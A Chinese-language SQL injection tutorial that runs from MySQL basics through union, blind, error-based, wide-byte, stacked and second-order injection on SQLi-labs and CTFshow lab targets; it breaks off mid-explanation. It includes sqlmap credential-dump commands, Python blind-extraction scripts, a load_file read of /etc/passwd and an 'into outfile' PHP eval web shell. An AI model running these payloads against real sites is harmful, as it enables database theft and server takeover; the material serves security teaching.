文章目录

  • 前言
  • 认识数据库
    • 基本术语
    • select 语句
    • SQL where 子句
    • and & or 对数据进行过滤
    • order by 排序
    • insert into 向表中插入新记录
    • update 更新表中的记录
    • delete语句用于删除表中的行
    • like 在where子句中搜索列中的指定模式
    • SQL union 合并两个或多个select语句的结果
    • 常见的数据库与结构
  • SQLBolt
    • 第一关
    • 第二关
  • SQL基本语法
    • 常用函数
      • user()
      • database()
      • version()
      • @@hostname
      • @@datadir
      • @@version_compile_os
      • load_file()
      • like
      • regexp
      • sleep
      • if
      • mid
      • **substr**
      • left
      • length
      • ord 和 ascii
      • limit
      • concat
      • concat_ws
      • group_concat
      • into outfile写文件
      • floor
      • rand
      • group_by
      • ExtractValue
      • updatexml
      • geometrycollection
      • exp
  • 简易SQL注入
    • 联合查询手工注入
    • SQLMAP一把梭
      • 使用-r参数(最稳妥)
      • 使用-u 参数
  • SQL注入盲注
    • 布尔盲注
      • 基础版
      • 二分法代码不好看版本
    • 时间盲注
      • sleep()
      • benchark()
      • 二分法代码优化版本
  • 报错注入
    • floor
    • extractvalue
    • updatexml
    • exp
    • geometrycollection
    • multipoint
    • polygon
    • multipolygon
    • linestring
    • multilinestring
  • 宽字节注入
    • 原理
    • SQL语句执行过程
    • 示例
  • 堆叠注入
    • 原理
    • 局限性
    • 案例
  • 二次注入
    • 原理
    • 案例
  • DNSlog注入
    • 原理
    • 案例
  • SQL注入普通绕过手法
    • 空格绕过
    • 关键字绕过
    • 注释符绕过
  • 总结

前言

本文篇基础向,适合新手学习SQL注入或者想巩固SQL注入的读者,内容比较全面比较细致,建议收藏食用 😃
这是一篇文章学懂一个OWASPTOP10的第一期,后续还会持续更新,关注博主不迷路,还是老规矩,配一张知识的海洋,祝大家能收获到想要的知识!

认识数据库

基本术语

以Mysql为例

1-数据库:数据库是“按照数据结构来组织、存储和管理数据的仓库”
2-数据表:是数据的矩阵
3-列:一列 里面是相同类型的数据
4-行:一行

介绍:
1-数据库:security
2-表:users
3-列名:id
4-值:1

select 语句

use security; 命令用于选择数据库
select * from users; 读取数据表信息
* 是指查询所有列

1-use security;

2-select * from users;

select username,password from users;
查询usernmae和password两个字段的值

SQL where 子句

select * from users where id ="1"


除了等于之外还有很多比较符
如 > 、< 、=、>=、<= 、like、between、in 等

and & or 对数据进行过滤

select * from users where id >1 and id < 4

select * from users where id =1 or id = 4

order by 排序

升序

select * from users order by username


降序

select * from users order by username DESC

insert into 向表中插入新记录

insert into users values(13,'test','test');


结果如下

insert into users(id,username,password) values (14,"root","root");

结果

update 更新表中的记录

update users set username="root1",password="root1" where id =14;


结果如下

update users set username="root1",password="root1" where id =14;

我们对这个语句产生一些思考,假如这里有一个业务点,是注册账号,如果刚好网站管理员的账号为admin,并且这里没有做严格的过滤,如果我们在注册的时候,用户名那一栏填入下面这个语句会产生怎样的影响呢?

admin",password="123"#
update users set username="admin",password="123"#",password="root1" where id =14;
解释一下,结合后的语句就变成了把admin用户的密码修改为123 #的作用是注释后面的语句,让前面的语句正常执行,这样我们就能使用admin 123 来登录管理员后台了,这就是一个简单的二次注入

那么再做一个扩展,如果有这种情况,一个网站判断是否登录成功是判断我们输入的账号密码与数据库中的账号密码md5值是否相等,可能会存在这样的一个漏洞,就像下面这样

md5($_POST[username])==md5($_POST[password])

这里先做一个解释,在PHP中=是不一样的,举个简单的例子

<?php
show_source('ctf.php');
$a=$_POST['a'];
    if($a==123){
		echo "弱等于确实是酱紫呀~";
	}
if($a==='12abc'){
	echo "强等于确实是酱紫呀~";
}

比如这里123a==123,但是123a是不等于123的

在php中0e开头它的意思会变成0的多少次方比如0e123的意思是0的123倍,所以如果这里能够找到2个加密后都为0e开头的值,那么他们两个就弱等于了,比如下面这两个

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
这两个都是0e开头的,那么s878926199a和s155964671a这两个值是会相等的

可以明显看到是相等的

<?php
if(md5($_POST[username])==md5($_POST[password])){
	echo"yes";
}
那么如果我注册了两个账户,一个密码是s878926199a另外一个是s155964671a,那么可以用这两个中的任意一个密码登录成功这两个用户

delete语句用于删除表中的行

delete from users where id=14;


结果如下

like 在where子句中搜索列中的指定模式

select * from users where username like "ad%"


除了%号之外还有这些通配符

SQL union 合并两个或多个select语句的结果

select username,password from users union select id,email_id from emails

常见的数据库与结构

1-Access  -->asp
结构:表-->列-->字段
2-mssql mysql oracle  -->php、jsp
结构:数据库-->表-->列名-->字段

数据库

show databases;



show tables;




与一般的数据库不同,Mysql他是有数据库这个概念的,而access是没有数据库这个概念的。
Mysql结构中最特别的地方就是,Mysql数据库在创建的时候会把所有的表名,列名给他存储在information_schema这个数据库中,所以我们在sql注入的时候总是会使用到如下的语句
?id=-1’ union select 1,2,group_concat(table_name) frominformation_schema.tables where table_schema=database() security – -
并且在Mysql5.0之前是没有information_schema这个数据库的

解释

这里我们可以看到,在注入的时候我们使用到了information_schema这个数据库下的tables这张表

根据这个图我们可以清楚的看到,我们实际上这个语句的意思是查询information_schema这个数据库中的tables这个表,然后筛选出table_schema这个字段的值为database()这个函数的返回值的table_name这个字段的值

SQLBolt

网址:https://sqlbolt/
目的:熟悉数据库的基本操作语法

第一关

1-找到每部电影的title

SELECT Title FROM Movies;

2-找到每部电影的director

 SELECT Director FROM movies;

3-找到每部电影的title和director

SELECT Title,Director FROM movies;

4-找到每部电影的title和year

SELECT Title,Year FROM movies;

5-找到每部电影的所有信息

SELECT * FROM Movies ;

第二关

1-找到movie表中id=6的数据

select * from movies where id=6;

2-找到2000年到2010年之间之间的movies

SELECT * FROM movies where year between 2000 and 2010;

3-找到不属于2000年到2010之间的movies

SELECT * FROM movies where year not between 2000 and 2010;

4-找到年份前五的电影名和他们的年份

select title,year from movies where year <=2003;

SQL基本语法

常用函数

user()

查看当前数据库的用户

database()

查看当前数据库的名字

version()

查看当前数据库的版本信息

@@hostname

查看当前计算机的用户名

@@datadir

查看Mysql的data目录绝对路径

@@version_compile_os

看操作系统位数

load_file()

解释:读取文件

union select 1,load_file('/etc/passwd'),3#

bypass

1-十六进制编码
union select 1,load_file(0x2f6574632f706173737764),3#  
0x2f6574632f706173737764--->/etc/passwd
2-CHAR
union select 1,load_file(CHAR(47,101,116,99,47,112,97,115,115,119,100)),3#

like

语义:是xxxx 这里类似于等于符号,但是这里可以使用通配符

select * from users where username like 'a'


这里查询为空是因为username列里面没有一个a的字段,改为admin即可查出admin字段

这里也可以使用通配符%

select * from users where username like 'a%'

发现查询出了username列a开头的字段

那么如果在a的前面也加上通配符,发现查询出了username列中带有a的所有字段

select * from users where username like '%a%'

regexp

语义:只要有xxx就能匹配,而like是等于才匹配

select * from users where username regexp 'admin'

发现username列中只要有admin的都匹配上了

也可以这么使用

select * from users where username regexp('ad')

sleep

语义:暂停多久后再执行 sleep(x)

select * from users where id =1  and sleep(3)


这样写的话,前面的查询语句结果就会为空

if

语义:if(条件,1,0) 如果条件成立,那么返回1,反之返回0,这里的返回值是可以任意修改的,也可以写表达式

select * from users where id =1  and if (1>2,sleep(5),sleep(1))

这里是延迟1秒,因为1是不大于2的所以返回sleep(1)

mid

语义:mid(a,b,c) 从b位置开始,截取a字符串的c位
ps:mid()字符串的下标是从1开始算的
这里执行为空是因为当前数据库的名字为security 第一个字符为s,这里的s不等于x所以 判断不成立 相当于 and 0 所以不成立,不执行语句

select * from users where id =1 and mid(database(),1,1)='x'


当把x改成s的时候,就成功执行了

select * from users where id =1 and mid(database(),1,1)='s'

substr

语义:substr(a,b,c) 从b位置开始,截取字符串a长度为c的字符串,这个与mid不同的是substr的b和c可以自动取整 substr从1开始计位数

select * from users where id =1  and substr(database(),1,2)='se'

select count(id) from (users)where(substr(username,1,1))regexp('b')

这句话的意思是统计id 从users这张表,并且username这个列的每个字段的第一个字母为b的

只有这一个

left

语义:left(a,b) 从左侧截取a的前b位

select * from users where id =1  and left(database(),2)='se'

length

语义:length()判断长度 比如说length(database())=8 判断数据库名的长度是不是等于8

select * from users where id =1  and length(database())=8

因为这里security的字符串长度确实是等于8的,所以返回正常了

ord 和 ascii

语义:ord()返回目标对应的ascii码值 ascii()与ord一致

select * from users where id =1  and ord(left(database(),1))=115

因为s对应的ascii码值就是115所以返回正常

ascii同理

select * from users where id =1  and ascii(left(database(),1))=115

limit

语义:返回几列 比如limit(1,2)的意思就是从第一列开始返回2列 limit是从0开始计数的

select table_name from information_schema.tables where table_schema='security' limit 2,1

concat

语义:连接一个或多个字符串

select concat('se','cu')

concat_ws

语义:与concat基本一致,但是多了一分隔符这个参数

select concat_ws(';','lll','tttt','wwwww')

group_concat

语义:连接每一个字符串,默认以逗号分隔

select group_concat(database(),version())

into outfile写文件

前提条件:
1-magic_quotes_gpc=OFF
2-用户有写权限
3-into outfile 不可以覆盖已存在文件
4-intooutfile 必须是最后一个查询语句 5-知道网站的绝对路径

select '<?php @eval($_POST[1]);?>' into outfile 'c:\www\1.php '

bypass

select char(99,58,92,50,46,116,120,116) into outfile ''

floor

解释:向下取整

select floor(1.6)

rand

语义:返回0-1之间的随机数

select rand()

group_by

解释:分组
比如有这么一张表

我们执行这条语句

select name from test group by name

他的结果是这样的

goup by name 这个过程,会生成一个虚拟的表,向右边的这个表一样

ExtractValue

语义:从目标XML中返回包含所查询的字符串
用法:extractvalue(XML_document,XPath_string)
XML_document: XML_document为string类型,为XML对象的名称
XPath_string: Xpath格式的字符串

updatexml

语义:修改xml文档中的内容
用法:updatexml(参数1,参数2,参数3)
参数1:文件名
参数2:路径
参数3:数值

geometrycollection

语义:GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。
可以简单理解为是画图的
用法:gemotrycollection(参数1,参数2,参数3)

GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))

exp

语义:相当于自然对数的N次方
比如exp(1)

简易SQL注入

联合查询手工注入

首先我们打开SQLlib的第一关,这里提示我们输入ID,并且是数值型

第一步判断是否存在SQL注入,其实很简单,我们可以不使用and 1=1 这样的语句去判断,而是可以直接输入一大堆垃圾数据,如果报错,那么说明我们输入的这个垃圾数据被带入数据库中并且执行了,那么就有可能存在SQL注入
比如这里,我输入垃圾数据,明显看到报错了,那么就有可能存在SQL注入

输入单引号,报错,那么这里接收id的地方肯定是单引号,就是这样

select name from  users where id =''


我们来分析一下为什么报错了,就确定他是单引号接收参数的,我们在数据库中执行下面这条语句,很明显,这是会报错的

select name from student1 where id ='1''


那么执行这条语句,他会报错吗

select name from student1 where id ='1"'

这里可能会出乎意料,他并没有报错,这里没有报错是因为我们的双引号不能和前后的单引号拼接起来,也就无法完成闭合,这个1"就会被当成参数去执行,而不是拼接成新的SQL语句

如果我们这里传入的是1’,那么拼接后的语句因该是这样的

select name from student1 where id ='1'' 

这样的话明显我们输入的1’中的单引号就和前面的单引号给他闭合掉了,此时如果我们传入id的值为1’ union select database()-- - 那么拼接后的语句为

select name from student1 where id ='1' union select database()-- -' 

我们可以看到,这是可以执行成功的,这句的意思是查询id=1的字段,并且联合查询数据库的名字

这也就是SQL注入的原理,闭合掉原有的句子,来执行我们新的SQL语句
首先,我们来判断他有的回显点,这里我们使用order by,那么order by 判断注入的点又是什么原理呢
我们执行下面这条语句

select name,id from student1 where id ='1' order by 3

可以看到他报错了,这是为什么呢,因为order by 3 的意思是按照第3个列进行排序,但是我们这里明显可以看到,我们只查询了name和id这两个列的值,所以这里根本就不存在第三个列,也就会报错

所以这里无论我们是order by 2 还是 order by 1 他都不会报错,所以我们可以利用这个特性,从大的数字开始尝试,当不报错的那个数字出现了,那执行语句的时候就选择了那么多列,比如这里

select name,id from student1 where id ='1' order by 2

可以看到order by 2的时候是没报错的,这正是因为我们select的时候刚好select了2列

知道了这些前置知识之后,我们再来做这个题目就很简单了

http://127.0.0.1:8124/Less-1/?id=1'   order by 4 --+ 

这里报错,说明没有4列,那么试试3报错不报错

完美不报错,那么由此确定,在执行sql语句的时候只select了3列

那么下一步就是判断回显点,可以看到这里的2和3这两个位置都是回显数据的,那么我们可以在这两个位置来查询数据,这里又有一个知识点,为什么要输入-1而不是1呢

http://127.0.0.1:8124/Less-1/?id=-1'   union select 1,2,3--+ 


我们来解释一下为什么,我们来执行这条语句

select name from student1 where id =1 union select database()

我们可以看到联合查询的时候,这个1也在name这个列,但是我们在注入的时候,需要的往往是那个union select的东西,而不是他原本的东西,如果说他原本的语句正常执行了,在页面回显的时候我联合查询的东西就会回显不出来,所以需要让第一个语句给他执行失败,像我们下面这样

我们执行下面这条语句,虽然前面的语句失败了,但是并不影响我们想要的结果,这样我们联合查询的结果就出来了,这也就是为什么联合查询的时候需要让他原本的语句出错的原因

select name from student1 where id =11111 union select database()


我们执行下面这条语句,这条语句就是我之前讲的,意思是查表名

http://127.0.0.1:8124/Less-1/?id=-1'  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 


成功注入,并且可以轻易看出这个users表是敏感的表,这里再解释一下这条注入语句,首先单引号是为了闭合他原本的SQL语句,-1是为了让它的查寻出错,能够回显我们union select查询出的内容

information_schema就是Mysql5.0以上自带的一个数据库,他里面存储了很多的表,其中我们能够利用的表最多时候是tables和columns,这两张表存储的是表名信息和列名信息

information_schema.tables的意思是information_schem的tables这张表

table_schema就是information_schema这个数据库中tables表中的一列

where table_schema=database() 的意思就是筛选table_schema这个列的值等于database()这个函数的返回值的地方,这里database()的返回值是security,也就是把table_schema='security’的地方筛选出来

所以这个语句的总意思就是查询1、table_name这个字段的值、3,那么从哪里查询呢?从information_schema这个数据库的tables表中table_schema=database()的地方查询

那么我们同样按照这种方法,拿到这个表中的列名

http://127.0.0.1:8124/Less-1/?id=-1'  union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ 

这样我们就拿到了user表中的所有列名,其中username和password肯定是最敏感的,那么直接拿这两个数据

http://127.0.0.1:8124/Less-1/?id=-1'  union select 1,username,password from security.users --+

可以看到执行成功,这个Dumb就是其中的一个账户密码了

此时我们可以结合limit来遍历所有的字段值

http://127.0.0.1:8124/Less-1/?id=-1'  union select 1,username,password from security.users limit 1,2 --+

这样我们就获得了第2行的值

数据库结构如下,同理可以遍历所有的

SQLMAP一把梭

使用-r参数(最稳妥)

首先我们burp抓个包
内容如下

GET /Less-1/?id=1 HTTP/1.1
Host: 172.20.10.3:8124
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,sq;q=0.8
Connection: close

我们把这个内容保存到SQLMAP根目录下的一个txt文件内,我这里是1.txt
值得注意的是我们这里id=1的前面加了一个号,这个号的意思是,我们推测这里存在注入,可以让SQLMAP直接尝试这个参数

我们在SQLMAP中执行这条语句

python38 sqlmap.py -r 1.txt --batch
-r 读取文件内容,也就是我们抓的包
--batch 出现选项的时候选择默认

我们可以明显看到这是存在注入的

那么我们就可以继续一把梭,先爆数据库名

python38 sqlmap.py -r 1.txt --batch -dbs
-dbs 列出数据库名

我们这个靶场的数据库是security

那么继续爆表

python38 sqlmap.py -r 1.txt --batch -D security --tables
-D 执行数据库名
--tables 列出表名

爆出了这些表,同样users这个表肯定是我们想要的

python38 sqlmap.py -r 1.txt --batch -D security -T users --columns
-T 指定表
--columns 列出列名

那么继续爆列,可以看到有password和username这两个列,都是我们想要的

那么我们直接拿username和password的值即可

python38 sqlmap.py -r 1.txt --batch -D security -T users -C username,password --dump
-C 指定字段
--dump 输出字段值

这样,我们就拿到了这个数据库中最敏感的信息了

使用-u 参数

同样的用法,只不是通过-u参数来传递URL,其他步骤一致

python38 sqlmap.py -u http://192.168.4.155:8124/Less-1/?id=1 --batch -D security -T users -C username,password --dump

SQL注入盲注

布尔盲注

案例:CTFshow WEB 190

基础版

随便输入一个账号密码,回显密码错误

我们输入这样一个简单的注入语句,回显密码错误,那么说明我们的语句是成功注入进去的

抓个包,post传参,传入的是username和password,然后传输数据的路径是/api/

当我们成功注入的时候,返回包里是有u8bef的

那么开始写脚本
第一步爆数据库名

import requests
url="http://6bb92e96-2949-468a-8622-dc4988565560.challenge.ctf.show/api/"
flagstr="qwertyuiopa0123sdf-gh4567_89jklzxcvbnm}"
payload="admin' and 1=if(substr(database(),{},1)='{}',1,0) -- -"
name=''
for i in range(1,50):
    for string in flagstr:
        data={
            "username":"admin' and 1=if(substr(database(),{},1)='{}',1,0) -- -".format(i,string),
            "password":0
        }
        re=requests.post(url,data=data)
        if "u8bef" in re.text:
            name+=string
            print(name)

解释注入语句

select password from users where username='Dumb' and 1=if(substr(database(),1,1)='s',1,0)#'

我们知道我们本地当前数据库的名字为security,那么第一位显然是s,这里注入语句的意思是判断数据库的第一位是不是s,如果是则返回1,不是则返回0,那么如果是的话1=1也判断成功,那么前面的SQL语句也能正常执行了,结合到这个题目里面就是回显u8bef,如果第一位不是s,那么返回的值就是0,1=0的判断结果显然是0,那么这个SQL语句是无法正常执行的,也就没有u8bef这个回显了,我们可以通过遍历所有的字母和数字爆破出这个数据库名

拿到数据库ctfshow_web

那么接下来继续爆表

import requests
url="http://6bb92e96-2949-468a-8622-dc4988565560.challenge.ctf.show/api/"
flagstr="qwertyuiopa0123s_df-gh456789jklzxcvbnm}"
payload="admin' and 1=if(substr(database(),{},1)='{}',1,0) -- -"
name=''
for i in range(1,50):
    for string in flagstr:
        data={
            "username":"admin' and 1=if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}',1,0) -- -".format(i,string),
            "password":0
        }
        re=requests.post(url,data=data)
        if "u8bef" in re.text:
            name+=string
            print(name)

拿到表ctfshow_fl0g和ctfshow_user

我们要的是flag,所以继续爆ctfshow_fl0g的列,那么继续爆列

import requests
url="http://6bb92e96-2949-468a-8622-dc4988565560.challenge.ctf.show/api/"
flagstr="qwertyuiopa0123s_df-gh456789jklzxcvbnm}"
payload="admin' and 1=if(substr(database(),{},1)='{}',1,0) -- -"
name=''
for i in range(1,50):
    for string in flagstr:
        data={
            "username":"admin' and 1=if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)='{}',1,0) -- -".format(i,string),
            "password":0
        }
        re=requests.post(url,data=data)
        if "u8bef" in re.text:
            name+=string
            print(name)

拿到了id和f1ag这两个列,那么直接拿f1ag的值即可

# -*- coding: utf-8 -*-
# @Time    : 2022/4/26 14:30
# @Author  : AlongLx
# @File    : SQL-lib-5.py
# @Software: PyCharm
import requests
url="http://6bb92e96-2949-468a-8622-dc4988565560.challenge.ctf.show/api/"
flagstr="qwertyuiopa0123s_df-gh456789jklzxcvbnm}"
payload="admin' and 1=if(substr(database(),{},1)='{}',1,0) -- -"
name=''
for i in range(1,50):
    for string in flagstr:
        data={
            "username":"admin' and 1=if(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1)='{}',1,0) -- -".format(i,string),
            "password":0
        }
        re=requests.post(url,data=data)
        if "u8bef" in re.text:
            name+=string
            print(name)

拿到flag

二分法代码不好看版本

import requests
flagstr="qwertyuiopa0123sdf-gh456789jklzxcvbnm}"
url="http://fb42aa9e-b53e-43de-b237-0378bb513933.challenge.ctf.show/api/"
flag="ctfshow{"

def database():
    i=0
    database=""
    while True:
        start=32
        end=127
        i+=1
        while start<end:
            mid=(start+end)//2
            data={
                "username":"admin' and 1=if(ascii(substr(database(),{},1))>{},1,0) -- -".format(i,mid),
                "password":"0"
                }
           
            r=requests.post(url,data=data)
            if "u8bef" in r.text:
                start=mid+1
            else:
                end=mid
        if start!=32:
            database+=chr(start)
            print(database)
        else:
            print(database)
            break
  #ctfshow_web      
def tables():
    i=0
    table=""
    while True:
        start=32
        end=127
        i+=1
        while start<end:
            mid=(start+end)//2
            data={
                "username":"admin' and 1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' ),{},1))>{},1,0) -- -".format(i,mid),
                "password":"0"
                }
           
            r=requests.post(url,data=data)
            if "u8bef" in r.text:
                start=mid+1
            else:
                end=mid
        if start!=32:
            table+=chr(start)
            print(table)
        else:
            break   
#ctfshow_fl0g ctfshow_user

def columns():
    i=0
    column=""
    while True:
        start=32
        end=127
        i+=1
        while start<end:
            mid=(start+end)//2
            data={
                "username":"admin' and 1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g' ),{},1))>{},1,0) -- -".format(i,mid),
                "password":"0"
                }
           
            r=requests.post(url,data=data)
            if "u8bef" in r.text:
                start=mid+1
            else:
                end=mid
        if start!=32:
            column+=chr(start)
            print(column)
        else:
            break   

#id,f1ag


def dump():
    i=0
    res=""
    while True:
        start=32
        end=127
        i+=1
        while start<end:
            mid=(start+end)//2
            data={
                "username":"admin' and 1=if(ascii(substr((select f1ag from ctfshow_fl0g ),{},1))>{},1,0) -- -".format(i,mid),
                "password":"0"
                }
           
            r=requests.post(url,data=data)
            if "u8bef" in r.text:
                start=mid+1
            else:
                end=mid
        if start!=32:
            res+=chr(start)
            print(res)
        else:
            break 

dump()

解释

这里拿数据库名的第一个字符c来举例子,c的ascii码为99
注入语句:admin' and 1=if(ascii(substr(database(),{},1))>{},1,0) -- -".format(i,mid),
那么流程是这样的
第一次:start=32 end=127  mid=(32+127)//2=79   那么语句就是 admin' and 1=if(ascii(substr(database(),1,1))>79,1,0) -- - 意思是判断数据库名的第一个字符的ascii码是否
大于79,这里c的ascii码99显然是大于79的,那么既然大于,说明if条件判断成功,回显的结果中就会有u8bef,那么start=mid+1=80

第二次:start=80 end=127  mid=(80+127)//2=103 那么语句就是 admin' and 1=if(ascii(substr(database(),1,1))>103,1,0) -- - 意思还是判断数据库名的第一个字符的ascii码是否大于103,这里显然99小于103,那么就会判断失败,进而条件判断返回值为0,那么end=mid=103

第三次:start=80 end=103  mid=(80+103)//2=91 那么语句就是 admin' and 1=if(ascii(substr(database(),1,1))>91,1,0) -- -  99是大于91的,那么start=91+1=92

第四次:start=92 end=103 mid=(93+104)//2=97    99是大于97的,那么start=97+1=98

第五次:start=98 end=103  mid =(98+103)//2=100  99是小于100的,那么end=mid=100

第六次:start=98 end=100  mid=(98+100)//2=99  99不大于99 那么 end=mid=99

第七次:start=98 end=99 mid=(98+99)//2=98  99大于98 那么 start=98+1=99

此时start=end,那么此次循环结束

时间盲注

sleep()

解释:休眠n秒

benchark()

解释:压力测试

二分法代码优化版本

import requests

url = "http://1fc2a0de-12f4-4c45-8414-480238cac924.challenge.ctf.show/api/"

result = ''

i=0
#load="database()" 数据库名
#load="select group_concat(table_name) from information_schema.tables where table_schema=database()"
#load="select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
load="select flaga from ctfshow_flagx"
while True:
    start=32
    end=127
    i+=1
    while start<end:
        mid=(start+end)//2
        payload="1 or if(ascii(substr(({}),{},1))>{},sleep(2),0)".format(load,i,mid)
        data={
            "ip":payload,
            "debug":"0"
            }
        try:
            r = requests.post(url, data=data, timeout=0.5)
            end = mid
        except Exception:
            start = mid + 1
    if start!=32:
        result+=chr(start)
        print(result)
    else:
        break

报错注入

floor

当我们把floor和rand组合起来的时候

select floor(rand()*2)

这个返回的结果可能是0也可能是1

select concat((select database()),floor(rand()*2))

返回的结果是security0或者security1

我们执行这条语句

select concat((select database()),floor(rand()*2)) from users

我们users表里有多少条数据,这里就返回多少个结果

我们再执行这条语句,我们给他取了个别名叫做a,然后给他分组

select concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a

这样就只剩下两条不同的数据了

然后我们再count(*)

select count(*),floor(rand(0)*2) as x from users group by x


可以看到这里报错了,为什么报错呢,因为count(*)是统计所有的数据条目,看这么一条语句

select name from test group by name

执行结果是这样的

他在group by 的时候,实际上会生成一个这样的虚拟表,可以看到一个name它对应了多个id和password,那么在count(*)的时候,一列就不止一个数据了,他就会报错

完整语句

http://127.0.0.1:8124/Less-1/?id=-1' union select count(*),1,concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a %23

拆解这一句

select concat((select database()),floor(rand(0)*2)) as x from test group by x

这里虽然返回的结果只有2个值,但是每一个security0和security1就像上面说的一样,它对应了多个值,所以如果此时我们再count(*),那么他就会报错

像这样,secutiry1就爆出来了

select count(*),concat((select database()),floor(rand(0)*2)) as x from test group by x


那么继续爆数据库名

select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as x from test group by x


爆列

select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand(0)*2)) as x from test group by x


拿数据

select count(*),concat((select concat_ws(',',username,password) from security.users limit 0,1),floor(rand(0)*2)) as x from test group by x

extractvalue

原理:比如下面这个语句,查询前一段xml文档中的a节点下的b节点

SELECT ExtractValue('<a><b><b/></a>', '/a/b');

返回为空

那么如果我把xpath的格式写错,会怎样呢

SELECT ExtractValue('<a><b><b/></a>', '~');

报错,XPATH error

那么如果我写这样的一个语句 #0x7e是~的十六进制编码

select extractvalue(null,concat(0x7e,database(),0x7e))

我们可以看到,这样数据库的名字就爆出来了

那么爆表

select extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))


继续爆列

select extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))


拿数据

select extractvalue(null,concat(0x7e,(select concat_ws(';',username,password) from users limit 0,1),0x7e))

updatexml

原理:如果路径中包含特殊符号,比如~就会报错,同时会显示路径参数的内容
比如执行下面这个语句

select updatexml(1,concat('~',database()),1)


查数据

select updatexml(1,concat('~',(select concat_ws(';',username,password) from users limit 0,1)),1)

exp

原理:输入特殊字符会报错

http://127.0.0.1/Less-3/?id=1') and exp(~(select*from(select database())x)) --+

geometrycollection

geometrycollection((select * from(select * from(select version())a)b))

multipoint

multipoint((select * from(select * from(select user())a)b))

polygon

polygon((select * from(select * from(select user())a)b));

multipolygon

multipolygon((select * from(select * from(select user())a)b))

linestring

linestring((select * from(select * from(select user())a)b))

multilinestring

multilinestring((select * from(select * from(select user())a)b))

宽字节注入

原理

解释:GBK、GB18030、GB2312、BIG5等,这些都是宽字节编码集,这些编码集会认为两个URL编码组成一个中文(这里需要第一个字符的ascii编码大于128比如%df,只有第一个ascii码到了128以上,才能变成中文字符),如果当我们输入单引号的时候存在php中的addslashes()函数,这个函数会对我们输入的单引号进行转义,比如下面这样
当我们输入双引号的时候,可以看到被转义了

那么单引号的十六进制是%5c,如果mysql使用我们上述的编码,我们输入%df’那么组合起来就是%df%5c’这是一个宽字节,運’,这样就完成了对单引号的逃逸

SQL语句执行过程

1-如果使用的是PHP,那么当用户输入数据之后,会通过php的默认编码生成SQL语句发送给服务器,那么php没有开启default_charset编码的时候,php的默认编码为空

这个时候php会根据数据库中的编码来自动确定使用哪种编码
可以使用 <?php $m=“好”;echo strlen(m);
来进行判断,如果输出的值是3说明是utf-8编码;如果输出的值是 2 说明是 gbk 编码。
服务器接收到请求后会把客户端编码的字符串换成连接层编码字符串
具体流程:

1-使用系统变量 character_set_client 对SQL语句进行编码,然后使用系统变量
character_set_connection对编码后的十六进制进行编码 2-进行内部操作之前,把请求按照下面的规则转换成内部操作字符集
2.1-使用字段 CHARACTER SET 设定值
2.2-如果上述值不存在,使用对应数据表中的 DEFAULT CHARACTER SET 设定值 比如这里是gbk

2.3-若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
2.4-若上述值不存在,则使用character_set_server设定值

示例

这里输入1’,发现被转义了

那么我们使用%df来构造一个宽字节,这里%df和/(也就是%5c)组合成了一个中文字符,完成了单引号逃逸

4列报错

http://127.0.0.1:8124/Less-32/?id=1%df' order by 4 %23

那么小一点,试试三列,成功回显,说明是查询了三个数据

那么先来爆数据库

http://127.0.0.1:8124/Less-32/?id=11111%df' union select 1,2,database() %23

继续爆表名,这里对table_schema=‘secutiry’ 进行十六进制编码来绕过对单引号的转义

http://127.0.0.1:8124/Less-32/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 %23

继续爆列名

http://127.0.0.1:8124/Less-32/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23


继续拿数据

http://127.0.0.1:8124/Less-32/?id=-1%df' union select 1,2,group_concat(username,password) from users %23

堆叠注入

原理

解释:堆叠注入就是在原有语句的基础之上,再来执行新的语句。在Mysql中分号";"是用来标是一个语句结束的,那么一个语句结束之后我们再写新的语句,他也是会执行的,这就是堆叠注入的由来。

这里我执行一个这样的语句

select * from users 


那我们尝试用分号执行多个语句

select * from users ;select * from test

可以看到这里有两个结果,这就是堆叠注入的最基本形式

局限性

解释:堆叠注入并不是在所有的环境下都能够执行的,可能受到很多的限制

案例

SQLI-LABS-38
单引号报错

http://127.0.0.1:8124/Less-38/?id=1'


注释一下,回显正常,那么这里就是单引号接受数据的

http://127.0.0.1:8124/Less-38/?id=1' %23


那么尝试一下堆叠注入

http://127.0.0.1:8124/Less-38/?id=1';insert into test(id,name,password) values(111,'duidie','duidie')%23

执行

发现已经插入成功,多了这条数据,那么堆叠注入就成功了

二次注入

原理

解释:二次注入的意思是,当我们第一次对数据库中进行注入,或者插入数据的时候,他把我们输入的东西存储到数据库中了,比如我们注册的时候填写用户名的地方我们输入的是admin’ union select version()#,他让我们注册成功了,假如我们来到个人信息页面,它能够显示我们的个性签名,此时他查询用户名的语句假如是

select gexingqianming from users where username =''

是这种形式的,此时我们的用户名是admin’ union select version()#
